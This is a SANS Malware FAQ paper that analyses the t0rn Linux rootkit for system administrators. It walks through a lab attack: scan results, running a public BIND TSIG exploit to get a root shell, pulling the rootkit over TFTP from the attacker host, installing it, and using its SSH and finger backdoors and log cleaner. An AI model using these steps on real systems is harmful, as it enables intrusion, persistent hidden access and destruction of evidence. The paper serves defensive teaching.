Malware FAQ: SANS Malware FAQ: What is t0rn rootkit?
Author: Paulo Craveiro
IntroductionIn most cases, it's quite easy to exploit a given vulnerability and gain root access to a system. What's an actual challenge to an attacker is to maintain such privileges and remain stealthy.
There are many options to accomplish this goal, such as deleting log files, installing rootkits and kernel rootkits. The main concepts described here are applicable to the most rootkits available.
One of the most known rootkits available for Linux platform is the t0rn rootkit, created by J0hnny7. The version showed at this paper (the first one published) uses pre-compiled binaries and it's structure is based on Linux Rootkit (LRK).
This rootkit is easily found on the Internet and it's my objective to describe its several components and behavior to help system administrators to identify it on compromised systems. To install a rootkit, an attacker must compromise the system through a known exploit. After running the exploit and gaining the root level access, it's then a matter of downloading the rootkit and installing it.
In our case, we are going to use the TSIG vulnerability (explained in further sections) of the BIND service that allows us to gain the root level access. However, the main objective of this paper is to describe the rootkit and not to give deep details of the exploit used to gain root level access. It's possible to gain this root level access through several exploits in our setting (Linux RedHat 6.1), like for example, WU-FTP (CVE-2000-0573), STATD (CVE-2000-0666) and, as in our case, TSIG (CVE-2001-0010).
Part I - The exploit
Name
t0rn rootkit (CERT Incident Note 2000-10. There are no CVE entries related to this rootkit).
Compromise Level
Once an intruder had installed it, the system administrator cannot see the attacker's activities.
Affected Operating Systems
The t0rn rootkit was tested and works fine in the following Linux distributions:
RedHat 6.1 and 6.2, Mandrake 7.1, Slackware 7.1. They are mainly based on Kernel 2.2 and libc5. This rootkit doesn't work with Debian 2.2 (not libc5 based) and with the new RedHat systems (7.1 and 7.2). They use Xinetd, a replacement to the old inetd. Besides that they use new kernel versions (2.4) and are not libc5 based.
Before installing the rootkit, we will use the TSIG vulnerability to gain root level access and the following systems are vulnerable to this bug:
All Linux systems containing BIND versions prior to 8.2.3 like, for example, RedHat from 4.0 to 7.0, SUSE from 6.0 to 6.4, Conectiva from 4.0 to 5.1, Debian from 2.2 to 2.3, Mandrake from 6.0 to 7.2. This vulnerable version of the BIND service affects other UNIX flavours like AIX from 4.3 to 4.3.3 as well.
Variants
There are some variants to this rootkit. The Lion Worm, for example, uses exactly the TSIG vulnerability and installs automatically the t0rn rootkit. This worm spreads itself through random class B network scans and looks for an open TCP/53 port. After finding such open port, it verifies whether the DNS (BIND) service is vulnerable or not. More information about Lion Worm can be obtained at:
https://www.sans.org/y2k/lion.htm
There is a known variant to this rootkit which is used to infect new RedHat distributions (versions 7, 7.1 and 7.2), based on the new kernel 2.4 and on the Xinetd. This variant is also known as t0rn version 8. More details can be obtained at:
http://online.securityfocus.com/archive/75/253554
http://www.geocities.com/john_curst/tk8-readme.txt
Protocols
Basically, the protocol used by the TSIG exploit is DNS and the t0rn rootkit uses finger and SSH during the remote administration of the compromised system. More details about these protocols will be given on Part 2, item Protocol Description.
Brief Description The objective of any rootkit is to hide attacker's activities and this is usually accomplished by modifying important system files like, for instance: ps, ls, netstat, top, du, ifconfig and installing sniffers to find other accounts and passwords. With the t0rn rootkit, it's not different. Following, the t0rn components:
| Binary | Description |
| du | It hides specific files and directories. |
| find | Same as du. |
| Same utility without the PROMISC flag. Used to hide sniffing. | |
| It spawns a root shell. | |
| Backdoored. With it you can use your specified password. | |
| It hides specific files and directories. | |
| It hides specific connections from configured addresses. | |
| pg | Generates hash of a password. |
| ps | Hide specific processes. |
| Hide specific processes. | |
| Modifies length of a file based on another file. | |
| Shell Script Installer. | |
| Sniffer log parser. | |
| Powerful packet sniffer. | |
| Log cleaner. | |
| It hides specific processes. |
As we can see, the primary objective of any rootkit is to hide the attacker's activities from the system administrators. This is accomplished through binary changes and, once an intruder could gain root level access, it's almost impossible to determine the compromise level (without the use of trusted resources). Usually, the rootkits install sniffers to obtain more passwords with the aim of compromising other systems on the network. Log cleaners are found on such compromised systems to make difficult to a system administrator to figure out what is happening.
Another level of rootkit installations are made through Loadable Kernel Modules (LKM). Basically, almost every modern Unix flavour (Linux, Solaris and FreeBSD) allows the system administrators to load device drivers on the fly into the kernel, avoiding the necessity of kernel recompilation and reboot of the systems. This is really a great feature that makes the administrator's life a bit more easy.
However, it's possible to subvert the system without the necessity of changing binaries. All the interactions are done on the kernel level, using function calls. With these "features" the attacker doesn't need to change the binaries anymore. Good examples of Kernel rootkits are Adore (https://www.sans.org/y2k/adore.htm) and Knark (http://online.securityfocus.com/guest/4871). With such kind of compromise, it's useless to maintain binary hashes (through MD5 checksums) because they are not modified.
We can read more about rootkits and Loadable Kernel Modules at:
http://www.theorygroup.com/Theory/rootkits.html
http://packetstormsecurity.nl/docs/hack/LKM_HACKING.html
http://members.prestige.net/tmiller12/papers/lkm.htm
http://neworder.box.sk/newsread_print.php?newsid=4182
Even when we compile the kernel without Loadable Modules support, it's possible to do some tricks to deceive the system administrator, as we can see at:
References
An analysis of the t0rn rootkit and source code might be obtained at:
http://online.securityfocus.com/infocus/1230
http://www.europe.f-secure.com/v-descs/torn.shtml
http://packetstormsecurity.org/UNIX/penetration/rootkits/tk.tgz
The advisory and source code of the TSIG vulnerability can be obtained at:
http://online.securityfocus.com/bid/2302
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0010
http://packetstormsecurity.org/0102-exploits/tsl_bind.c
Part II - The Attack
Description and Diagram of Network
In this paper I'll describe an hypothetical scenario to show how the TSIG bug can be explored and how to install the t0rn rootkit (actually, the steps described can be expanded to other rootkits as well). In our case, there's no firewall between the attacker's system (host mars, 10.0.0.2) and the target (host saturn, 10.0.0.3).
Even though we're using just internal IP addresses, this scenario might be perfectly expanded to an external attack against a system not protected by a Firewall. We can see this simple netwok topology in figure 1.
Protocol Description
In our scenario we are using a known vulnerability of the DNS protocol (specifically from the BIND software) to attack the target system. Once we get root level access to the machine, the t0rn rootkit allows an attacker to return to the system using finger and ssh protocols. At this section, we are going to see more details about such protocols.
DNS (BIND)
When we use a Web Browser such as Internet Explorer or Netscape Navigator, we type names to access Websites like, for example, www.yahoo.com. Names are used just to make easy to find internet addresses. Actually, only the IP addresses are used in communication among the client's browser (other services use the same approach) and the Web Servers.
The DNS (Domain Name System, RFC 1035) service is used to resolve names to IP addresses. It's an hierarchical system composed by domains and subdomains, just like a file system organization. This protocol uses the port 53/UDP to name lookups and 53/TCP for zone transfers. Zone transfers are used just by Secondary Name Servers when they need to update their names databases.
Usually this service runs at root privilege.
TSIG
The Transaction Signature (TSIG) was introduced in Bind version 8.2. Its main purpose is to allow transaction level authentication for name lookups and for zone transfers. When an invalid TSIG key is identified, BIND returns an error. But there's a serious bug (buffer overflow) when BIND handles invalid transaction signature, on this Linux version. This overflow might be exploited to gain root level privileges.
More information about TSIG can be obtained at:
http://www.nominum.com/resources/standards/bind-rfc/rfc2845
FTP and TFTP
The File Transfer Protocol (FTP - RFC 959) is used to transfer files among servers and clients in both directions. It's possible to list, delete, copy files and create/delete directories, based on different security levels. However, its password authentication is very insecure because all the communications are transmitted in cleartext.
It uses the port 21/TCP (for commands) and 20/TCP (file transfers and directory listing). Most enterprises allow FTP access to the Internet, even from the DMZ, what could lead to rootkit downloads to the compromised servers.
When we use TFTP (Trivial File Transfer Protocol - RFC 783), it's not necessary to log on to the remote system, what makes easy to an intruder the uploading process. This protocol uses UDP (port 69) instead of TCP. Usually this port is closed on Enterprises' firewalls, but in our scenario, there's no firewall protecting the system. In this case, TFTP is much easier to upload files to the machine.
SSH
Secure Socket Shell (SSH) is a replacement to insecure utilities like telnet, rlogin, rsh and rcp, because as we know, these services send passwords, commands and contents in cleartext, without any privacy. All the SSH communications are encrypted and authenticated. The encryption algorithms include Blowfish, DES and IDEA.
Therefore all traffic is encrypted, eliminating eavesdroping and connection hijacking. In our case, the t0rn rootkit uses the SSH to encrypt all the remote administration of the compromised system. During the rootkit installation, the port used to connect to the system is defined by the attacker.
FINGER
With the Finger service it's possible to query names associated with e-mail addresses, verify currently logged users and the uptime of the systems. It's a very insecure service and must be disabled on any Unix system.
When the t0rn rootkit is installed on the system, automatically enables the finger service on /etc/inetd.conf. The daemon associated is actually a command shell that, when invoked, opens a 2555/TCP port. Then an attacker might access the machine using this root shell.
Description and Diagram of the Attack
Now, I'm going to demonstrate how the t0rn rootkit can be installed on a Linux Server, using an hypothetical scenario described in figure 2. This approach is valid to other Linux/Unix systems as well and is very instructive. The target system is a DNS Server that is running several unnecessary services like, for example, HTTP and Sendmail.
Figure 2- Diagram of attack and rootkit installation
First of all, it's necessary to an attacker discover open ports and identify vulnerable services. In our case we are going to use Nmap (http://www.insecure.org/nmap) and Nessus (http://www.nessus.org) to identify ports, services and vulnerabilities.
The result of nmap scan is showed bellow.
# nmap (V. 2.54BETA34) scan initiated Thu Apr 4 12:03:55 2002 as: nmap -sS -O -v -oN saturn_nmap.txt 10.0.0.3
Interesting ports on (10.0.0.3):
(The 1542 ports scanned but not shown below are in state: closed)
Port State Service
13/tcp open daytime
23/tcp open telnet
25/tcp open smtp
37/tcp open time
53/tcp open domain
79/tcp open finger
80/tcp open http
98/tcp open linuxconf
111/tcp open sunrpc
113/tcp open auth
512/tcp open exec
514/tcp open shell
515/tcp open printer
Remote operating system guess: Linux 2.1.19 - 2.2.19
Uptime 0.006 days (since Thu Apr 4 11:54:58 2002)
TCP Sequence Prediction: Class=random positive increments
Difficulty=7768407 (Good luck!)
IPID Sequence Generation: Incremental
# Nmap run completed at Thu Apr 4 12:04:01 2002 -- 1 IP address (1 host up) scanned in 6 seconds
As we can see on the nmap results, there are some services that are usually good entry points to an intrusion, like SMTP (25), DNS (53), HTTP (80) and RPC (111).
Following, we have a text report generated by Nessus (www.nessus.org).
Nessus Scan Report
------------------
SUMMARY
- Number of hosts which were alive during the test : 1
- Number of security holes found : 4
- Number of security warnings found : 8
- Number of security notes found : 16
TESTED HOSTS
10.0.0.3 (Security holes found)
DETAILS
+ 10.0.0.3 :
. List of open ports :
daytime (13/tcp) (Security warnings found)
telnet (23/tcp) (Security warnings found)
smtp (25/tcp) (Security hole found)
time (37/tcp)
domain (53/tcp) (Security hole found)
finger (79/tcp) (Security warnings found)
www (80/tcp) (Security notes found)
linuxconf (98/tcp) (Security notes found)
sunrpc (111/tcp)
auth (113/tcp) (Security warnings found)
exec (512/tcp) (Security warnings found)
shell (514/tcp) (Security warnings found)
printer (515/tcp)
general/tcp (Security notes found)
daytime (13/udp) (Security warnings found)
general/icmp (Security warnings found)
general/udp (Security notes found)
. Warning found on port daytime (13/tcp)
The daytime service is running.
The date format issued by this service may sometimes help an attacker to guess
the operating system type.
In addition to that, when the UDP version of daytime is running, an attacker may link it
to the echo port using spoofing, thus creating a possible denial of service.
Solution : disable this service in /etc/inetd.conf.
Risk factor : Low
. Warning found on port telnet (23/tcp)
The Telnet service is running.
This service is dangerous in the sense that it is not ciphered - that is, everyone can sniff
the data that passes between the telnet client and the telnet server. This includes logins
and passwords.
You should disable this service and use OpenSSH instead.
(www.openssh.com)
Solution : Comment out the 'telnet' line in /etc/inetd.conf.
Risk factor : Low
CVE : CAN-1999-0619
. Information found on port telnet (23/tcp)
a telnet server seems to be running on this port
. Information found on port telnet (23/tcp)
Remote telnet banner :
Red Hat Linux release 6.1 (Cartman)
Kernel 2.2.12-20 on an i686
login:
. Vulnerability found on port smtp (25/tcp) :
The remote sendmail server, according to its version number, may be vulnerable to the -bt
overflow attack which allows any local user to execute arbitrary commands as root.
Solution : upgrade to the latest version of Sendmail
Risk factor : High
Note : This vulnerability is _local_ only
. Warning found on port smtp (25/tcp)
The remote SMTP server
answers to the EXPN and/or VRFY commands.
The EXPN command can be used to find the delivery address of mail aliases, or
even the full name of the recipients, and the VRFY command may be used to check the
validity of an account.
Your mailer should not allow remote users to use any of these commands, because it gives
them too much information.
Solution : if you are using Sendmail, add the
option
O PrivacyOptions=goaway
in /etc/sendmail.cf.
Risk factor : Low
CVE : CAN-1999-0531
. Information found on port smtp (25/tcp)
a SMTP server is running on this port
Here is its banner :
220 localhost.localdomain ESMTP Sendmail 8.9.3/8.9.3; Wed, 22 May 2002
12:08:29
-0400
. Information found on port smtp (25/tcp)
Remote SMTP server banner :
localhost.localdomain ESMTP Sendmail 8.9.3/8.9.3; Wed, 22 May 2002 12:09:00
-0400
214-This is Sendmail version 8.9.3214-Topics:
214- HELO EHLO MAIL RCPT DATA
214- RSET NOOP QUIT HELP VRFY
214- EXPN VERB ETRN DSN
214-For more info use "HELP <topic>".
214-To report bugs in the implementation send email to
214- sendmail-bugs@sendmail.org.
214-For local information send email to Postmaster at your site.
214 End of HELP info
. Vulnerability found on port domain (53/tcp) :
The remote BIND server, according to its version number, is vulnerable to various buffer
overflows that may allow an attacker to gain a shell on this host.
Solution : upgrade to bind 8.2.3 or 4.9.8
Risk factor :
High
. Vulnerability found on port domain (53/tcp) :
The remote BIND server, according to its version number, is vulnerable to a DNS storm attack
Solution : upgrade to bind 8.3.1
Risk factor : High
. Vulnerability found on port domain (53/tcp) :
The remote BIND server, according to its version number, is vulnerable to several
attacks that can allow an attacker to gain root on this system.
Solution : upgrade to bind 8.2.2-P3
Risk factor : High
CVE : CVE-1999-0833
. Warning found on port domain (53/tcp)
The remote name server allows recursive queries to be performed by the host running nessusd.
If this is your internal nameserver, then forget this warning.
If you are probing a remote nameserver, then it allows anyone
to use it to resolve third parties names (such as www.nessus.org).
This allows hackers to do cache poisoning attacks against this nameserver.
Solution : Restrict recursive queries to the hosts that should use this nameserver (such as
those of the LAN connected to it).
If you are using bind 8, you can do this by using the instruction 'allow-recursion' in the
'options' section of your named.conf
If you are using another name server, consult its documentation.
Risk factor :
Serious
. Information found on port domain (53/tcp)
The remote bind version is :
8.2.1
. Warning found on port finger (79/tcp)
The 'finger' service provides useful information to attackers, since it allow them to gain usernames,
check if a machine is being used, and so on...
Risk factor : Low
Solution : comment out the 'finger' line in /etc/inetd.conf
CVE : CVE-1999-0612
. Information found on port www (80/tcp)
a web server is running on this port
. Information found on port www (80/tcp)
The remote web server type is :
Apache/1.3.9 (Unix) (Red Hat/Linux)
We recommend that you configure your web server to return bogus versions in order to not leak
information
. Information found on port www (80/tcp)
An information leak occurs on Apache based web servers
whenever the UserDir module is enabled. The vulnerability allows an external attacker to enumerate
existing accounts by requesting access to their home directory and monitoring the response.
Solution:
1) Disable this feature by changing 'UserDir public_html' (or whatever) to
'UserDir disabled'.
Or
2) Use a RedirectMatch rewrite rule under Apache -- this works even if there
is no such entry in the password file, e.g.:
RedirectMatch ^/~(.*)$ http://my-target-webserver.somewhere.org/$1
Or
3) Add into httpd.conf:
ErrorDocument 404 http://localhost/sample.html
ErrorDocument 403 http://localhost/sample.html
(NOTE: You need to use a FQDN inside the URL for it to work properly).
Additional Information:
http://www.securiteam.com/unixfocus/5WP0C1F5FI.html
Risk factor :
Low
. Information found on port linuxconf (98/tcp)
Linuxconf is running on this port
. Warning found on port auth (113/tcp)
The 'ident' service provides sensitive information to potential attackers.
It mainly says which accounts are running which services.
This helps attackers to focus on valuable services [those
owned by root]. If you don't use this service, disable it.
Risk factor : Low
Solution : comment out the 'auth' or 'ident' line in /etc/inetd.conf
CVE : CAN-1999-0629
. Information found on port auth (113/tcp)
an identd server is running on this port
. Warning found on port exec (512/tcp)
The rexecd service is open.
Because rexecd does not provide any good means of authentication, it can be
used by an attacker to scan a third party host, giving you troubles or bypassing
your firewall.
Solution : comment out the 'exec' line
in /etc/inetd.conf.
Risk factor : Medium
CVE : CAN-1999-0618
. Warning found on port shell (514/tcp)
The rsh service is running.
This service is dangerous in the sense that it is not ciphered - that is, everyone can sniff
the data that passes between the rsh client and the rsh server. This includes logins
and passwords.
You should disable this service and use ssh instead.
Solution : Comment out the 'rsh' line in /etc/inetd.conf.
Risk factor : Low
CVE : CAN-1999-0651
. Information found on port general/tcp
Nmap found that this host is running Linux 2.1.19 - 2.2.19
. Information found on port general/tcp
Nmap only scanned 15000 TCP ports out of 65535.Nmap did not do a UDP scan, I
guess.
. Information found on port general/tcp
The plugin PC_anywhere_tcp.nasl was too slow to finish - the server killed it
. Warning found on port daytime (13/udp)
The daytime service is running.
The date format issued by this service may sometimes help an attacker to guess
the operating system type.
In addition to that, when the UDP version of daytime is running, an attacker may link it
to the echo port using spoofing, thus creating a possible denial of service.
Solution : disable this service in /etc/inetd.conf.
Risk factor : Low
CVE : CVE-1999-0103
. Warning found on port general/icmp
The remote host answers to an ICMP timestamp request. This allows an attacker to know the
date which is set on your machine.
This may help him to defeat all your time based authentication protocols.
Solution : filter out the ICMP timestamp requests (13), and the outgoing ICMP
timestamp replies (14).
Risk factor : Low
CVE : CAN-1999-0524
------------------------------------------------------
This file was generated by the Nessus Security Scanner
Figure 3- Quick search on SecurityFocus shows a description about the TSIG (BIND) vulnerability
When we know that there are vulnerable versions of some services it's important to look for further details before trying to explore them. Excelent source of informations about vulnerabilities are the Security Focus - Bugtraq (http://www.securityfocus.com) and Packetstorm (http://packetstormsecurity.com). In figure 3 we have the TSIG bug explanation.
The exploits can be obtained at these sites as well. Once an attacker obtains the root access, he might install a rootkit to allow him to come back and access this machine with the same privileges, even if the system administrator updates and corrects the system bugs. Usually, intruders us FTP or TFTP protocols to upload rootkits to compromised boxes.
In our example there is no firewall protecting the target machine, however there are a lot of administrators out there that make easy the intruder's life. For example, even with incoming firewall protection, they allow any outgoing traffic from critical network segments like DMZ. Just the essential traffic must be allowed among the several network segments.
How the Exploit Works
Our first step is to explore the TSIG vulnerability that gives root level access to the system. Following we have all the necessary steps to use such exploit.
First of all, after downloading the source code of the exploit (please refer to Appendix B), we must compile and start playing with it.
mars:/giac/exploits# cc tsl_bind.c - o tsl_bind
mars:/giac/exploits# ./tsl_bind 10.0.0.3
. ISC bind 8.2.2-x remote buffer-overflow for linux x86
. (c)2001 Tamandua Laboratories - www.axur.com.br
. (c)2001 Gustavo Scotti <scotti@axur.org>
. TCP listen port number 25000
. waiting for server response... 8.2.1
. probing ebp... ebp is bffffc88
. waiting for connect_back shellcode response... connected
. < ^---> from 10.0.0.3:1025
. congratulations. you have owned this one.
Linux saturn 2.2.12-20 #1 Mon Sep 27 10:40:35 EDT 1999 i686 unknown
uid=0(root) gid=0(root)
pwd
/var/named
tftp 10.0.0.2
get tk.tgz
exit
ls
named.ca
named.local
tk.tgz
tar xvzf tk.tgz
tk/
tk/netstat
tk/dev/
tk/dev/.1addr
tk/dev/.1logz
tk/dev/.1proc
tk/dev/.1file
tk/t0rns
tk/du
tk/t0rnsb
tk/ps
tk/t0rnp
tk/find
tk/ifconfig
tk/pg
tk/ssh.tgz
tk/top
tk/sz
tk/login
tk/t0rn
tk/in.fingerd
tk/tornkit-TODO
tk/pstree
tk/tornkit-README
cd tk
The rootkit installation is just a matter of typing:
./t0rn coded 5000
Note that in this case, we are installing the rootkit and defining that when we connect via Secure Shell we will use the password coded and the daemon will be listening at port 5000.
Here we have the output screen from the installation.
===============================================================
.oooo. oooo o8o .
.o8 d8P''Y8b '888 ' ' ' .o8
.o888oo 888 888 oooo d8b ooo. .oo. 888 oooo oooo .o888oo
888 888 888 '888''8P '888P'Y88b 888 .8P' '888 888
888 888 888 888 888 888 888888. 888 888
888 . '88b d88' 888 888 888 888 '88b. 888 888 .
'888' 'Y8bd8P' d888b o888o o888o o888o o888o o888o '888'
===============================================================
backdooring started on
#
#
checking for remote logging... guess not.
# [Installing trojans....]
# Using Password :
# Using ssh-port :
#
# : login moved and backdoored
# : ps/du/ls/top/netstat/find backdoored
#
# [Moving our files...]
# : t0rnsniff/t0rnparse/sauber moved
#
# [Modifying system settings to suit our needs]
# : cleaning inetd.conf - enabling finger/telnet
[Patching... ]
This version has no patching.. do it manually bitch
[System Information...]
Hostname :
Arch :
Alternative IP :
Distribution:
ipchains ...?
Chain input (policy ACCEPT):
============================== Backdooring completed in :2 seconds
^C
mars:/giac/exploits#
In just two seconds the rootkit has been installed! It's not required to have special skills to install it.
When t0rn rootkit is installed, we have the following modifications made on the system:
- The syslogd is stopped.
- It verifies whether the system is logging to a remote host or not. If applicable, It identifies what system(s) is(are) the log server(s).
- The file /etc/ttyhash is created, which contains the password entered during installation. This is a password for ssh, telnet and finger. Note that the script uses the binary pg to create the hash. If you don't specify a password, the default will be t0rnkit.
- Untars the file ssh.tgz. It creates the .t0rn directory which contains the following files:
sharsed (Secure Shell Daemon. It's moved into /usr/sbin/nscd and started during boot process). Two entries are added to /etc/rc.d/rc.sysinit with the following:
# Name Server Cache Daemon
/usr/sbin/nscd -q
shdcf2 (Configuration file for Secure Shell. It's copied into shdcf and contains, for example, the port number that will be listening for Secure Shell. If we don't define any port then the default will be 47017).
shhk (Host Private Key).
shhk.pub (Host Public Key).
shrs (Random Seed. Used for criptography). - The size and timestamp of the original /bin/login and the backdoored login are left identical. This approach is always used by intruders to hide the substitution of important system files. The original /bin/login is moved to /bin/xlogin and the backdoored login is moved to /bin directory.
- These directories and files are created:
/usr/src/.puta
The configuration files below are copied into this directory:
.1addr Contains the addresses range that will be ignored by netstat. By default, we have the following entries: 194.82 and 146.101. The port used by Secure Shell is added to this file as well.
.1file Contains the list of files that will be ignored by du, find and ls. By default, we have the following entries: .1proc, .1addr, .1file, 1logz, .puta, .t0rn, in.telnetd, ttyhash, t0rn and xlogin.
.1logz By default, we have the following entries: 195.70, 194.82 and rshd.
.1proc Contains the processes that will be ignored by ps, pstree and top. By default, we have the following entries: in.inetd, nscd and t0rn.
t0rns, t0rnp and t0rnsb (Sniffer, Sniffer log parser and Log cleaner, respectively).
/usr/info/.t0rn
shdcf, shhk, shhk.pub and shrs (they were already explained at item 4). - Timestamps of the following trojaned binaries are modified according to the original system files: du, find, ifconfig, in.fingerd, login, ls, netstat, ps and top. Then they are copied to system directories (/sbin, /bin, /usr/bin and /usr/sbin).
- The sniffer is started (t0rns) and the captured traffic is directed to /usr/src/.puta/system.
- The /etc/inetd.conf is modified to permit access to the system via telnet and finger. The daemon inet is restarted to reflect the changes made by the script.
- A verification is done to discover possible restrictions to remote connections. This is accomplished by verifying /etc/hosts.deny and ipchains rules.
- The installation directory is deleted (in our case is /var/named/tk) and the syslog daemon is started.
mars:/giac/exploits# ssh coded@10.0.0.3 -p 5000
[root@saturn /bin]# id
uid=0(root) gid=1(bin) groups=1(bin),2(daemon),3(sys)
[root@saturn /bin]# netstat -an
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:25 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:515 0.0.0.0:* LISTEN
tcp 0 0 10.0.0.3:53 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:98 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:113 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:79 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:513 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:514 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:23 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:21 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN
udp 0 0 0.0.0.0:1024 0.0.0.0:*
udp 0 0 10.0.0.3:53 0.0.0.0:*
udp 0 0 0.0.0.0:518 0.0.0.0:*
udp 0 0 0.0.0.0:517 0.0.0.0:*
udp 0 0 0.0.0.0:111 0.0.0.0:*
raw 0 0 0.0.0.0:1 0.0.0.0:* 7
raw 0 0 0.0.0.0:6 0.0.0.0:* 7
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags Type State I-Node Path
unix 5 [ ] DGRAM 290 /dev/log
unix 0 [ ] STREAM CONNECTED 112 @0000000f
unix 0 [ ACC ] STREAM LISTENING 431 /var/run/ndc
unix 0 [ ACC ] STREAM LISTENING 523 /dev/gpmctl
unix 0 [ ACC ] STREAM LISTENING 466 /dev/printer
unix 0 [ ACC ] STREAM LISTENING 557 /tmp/.font-unix/fs-1
unix 0 [ ] DGRAM 560
unix 0 [ ] DGRAM 507
unix 0 [ ] DGRAM 426
unix 0 [ ] DGRAM 343
unix 0 [ ] DGRAM 303
[root@saturn /bin]# exit
logout
Connection to 10.0.0.3 closed.
The important detail here is that, even though we are connected to the system saturn, using Secure Shell, there is no established connection in netstat output. The IP address of the remote station that is accessing saturn is 10.0.0.2 and we cannot see the connection because the port 5000 was included in /usr/src/.puta/.1addr.
mars:/giac/exploits# finger coded@10.0.0.3
[10.0.0.3]
mars:/giac/exploits# telnet 10.0.0.3 2555
Trying 10.0.0.3 ...
Connected to 10.0.0.3.
Escape character is '^]'.
stdin: is not a tty
ls /
: No such file or directory
bin
boot
dev
etc
home
lib
lost+found
mnt
opt
proc
root
sbin
tmp
usr
var
The in.fingerd daemon opens a root shell on port 2555. It's a matter of telnetting to this port. When typing the commands, the use of a space at the end is necessary. Without the space character, the commands will not work.
mars:/giac/exploits# ssh coded@10.0.0.3 -p 5000
[root@saturn /bin]# ps -aux
USER PID %CPU %MEM SIZE RSS TTY STAT START TIME COMMAND
bin 246 0.0 0.2 1196 396 ? S 04:29 0:00 portmap
daemon 342 0.0 0.2 1128 484 ? S 04:29 0:00 /usr/sbin/atd
nobody 579 0.0 0.7 2748 1408 ? S 04:30 0:00 httpd
nobody 580 0.0 0.7 2748 1408 ? S 04:30 0:00 httpd
nobody 581 0.0 0.7 2748 1408 ? S 04:30 0:00 httpd
nobody 582 0.0 0.7 2748 1408 ? S 04:30 0:00 httpd
nobody 583 0.0 0.7 2748 1408 ? S 04:30 0:00 httpd
nobody 584 0.0 0.7 2748 1408 ? S 04:30 0:00 httpd
nobody 585 0.0 0.7 2748 1408 ? S 04:30 0:00 httpd
nobody 586 0.0 0.7 2748 1408 ? S 04:30 0:00 httpd
nobody 587 0.0 0.7 2748 1408 ? S 04:30 0:00 httpd
nobody 588 0.0 0.7 2748 1408 ? S 04:30 0:00 httpd
root 1 0.7 0.2 1104 460 ? S 04:29 0:04 init
root 2 0.0 0.0 0 0 ? SW 04:29 0:00 (kflushd)
root 3 0.0 0.0 0 0 ? SW 04:29 0:00 (kupdate)
root 4 0.0 0.0 0 0 ? SW 04:29 0:00 (kpiod)
root 5 0.0 0.0 0 0 ? SW 04:29 0:00 (kswapd)
root 6 0.0 0.0 0 0 ? SW< 04:29 0:00 (mdrecoveryd)
root 262 0.0 0.2 1088 464 ? S 04:29 0:00 /usr/sbin/apmd -p 10
root 315 0.0 0.2 1152 556 ? S 04:29 0:00 syslogd -m 0
root 326 0.0 0.3 1412 752 ? S 04:29 0:00 klogd
root 358 0.0 0.3 1304 600 ? S 04:29 0:00 crond
root 413 0.0 0.2 1124 484 ? S 04:29 0:00 inetd
root 473 0.0 0.7 2272 1460 ? S 04:30 0:00 named
root 496 0.0 0.2 1176 488 ? S 04:30 0:00 lpd
root 539 0.0 0.5 2104 1104 ? S 04:30 0:00 sendmail: accepting c
root 556 0.0 0.2 1132 444 ? S 04:30 0:00 gpm -t ps/2
root 572 0.0 0.6 2560 1312 ? S 04:30 0:00 httpd
root 638 0.0 0.5 2196 1148 1 S 04:30 0:00 login -- root
root 639 0.0 0.1 1076 384 2 S 04:30 0:00 /sbin/mingetty tty2
root 640 0.0 0.1 1076 384 3 S 04:30 0:00 /sbin/mingetty tty3
root 641 0.0 0.1 1076 384 4 S 04:30 0:00 /sbin/mingetty tty4
root 642 0.0 0.1 1076 384 5 S 04:30 0:00 /sbin/mingetty tty5
root 643 0.0 0.1 1076 384 6 S 04:30 0:00 /sbin/mingetty tty6
root 661 0.0 0.5 1728 972 1 S 04:32 0:00 -bash
root 680 0.0 0.2 1080 412 ? S 04:36 0:00 /usr/sbin/inetd /etc/
root 695 0.1 0.4 1720 952 p0 S 04:39 0:00 -sh
root 706 0.0 0.2 928 412 p0 R 04:39 0:00 ps -aux
xfs 599 0.0 0.5 1880 964 ? S 04:30 0:00 xfs -droppriv -daemon
The ps command shows all the processes running in the system. However, this trojaned version of ps doesn't list two important processes that are nscd (actually Secure Shell) and t0rns (Sniffer).
[root@saturn /bin]# /sbin/ifconfig eth0
eth0 Link encap:Ethernet HWaddr 00:50:DA:EB:47:51
inet addr:10.0.0.3 Bcast:10.255.255.255 Mask:255.0.0.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:984 errors:0 dropped:0 overruns:0 frame:0
TX packets:910 errors:0 dropped:0 overruns:0 carrier:1
collisions:1 txqueuelen:100
Interrupt:3 Base address:0x200
Note that the trojaned ifconfig doesn't show the flag PROMISC, even though there is a sniffer running on the system.
[root@saturn /bin]# cd /usr/src/.puta
[root@saturn .puta]# ./t0rnsb
* sauber by socked [07.27.97]
* Usage: t0rnsb
[root@saturn .puta]# ./t0rnsb root
* sauber by socked [07.27.97]
*
* Cleaning logs.. This may take a bit depending on the size of the logs.
* Cleaning boot.log (236 lines)...0 lines removed!
* Cleaning cron (27 lines)...21 lines removed!
* Cleaning dmesg (73 lines)...5 lines removed!
* Cleaning htmlaccess.log (0 lines)...0 lines removed!
* Cleaning maillog (21 lines)...8 lines removed!
* Cleaning messages (1121 lines)...41 lines removed!
* Cleaning netconf.log (11 lines)...0 lines removed!
* Cleaning secure (44 lines)...0 lines removed!
* Cleaning sendmail.st (0 lines)...0 lines removed!
* Cleaning spooler (0 lines)...0 lines removed!
* Cleaning xferlog (0 lines)...0 lines removed!
* Alles sauber mein Meister !'Q%&@
The log cleaner used by the t0rnkit is t0rnsb. It deletes the lines that matches specified string from some system logs. Above we have the system logs that are affected by this tool.
Other ways of testing the rootkit are running trojaned ls, du and find. They will not show the rootkit files to the system administrator, as we can see below.
[root@saturn /bin]# ls -la /usr/src
drwxr-xr-x 5 root root 4096 Apr 4 04:09 .
drwxr-xr-x 19 root root 4096 Apr 4 20:44 ..
lrwxrwxrwx 1 root root 12 Apr 4 20:43 linux -> linux-2.2.12
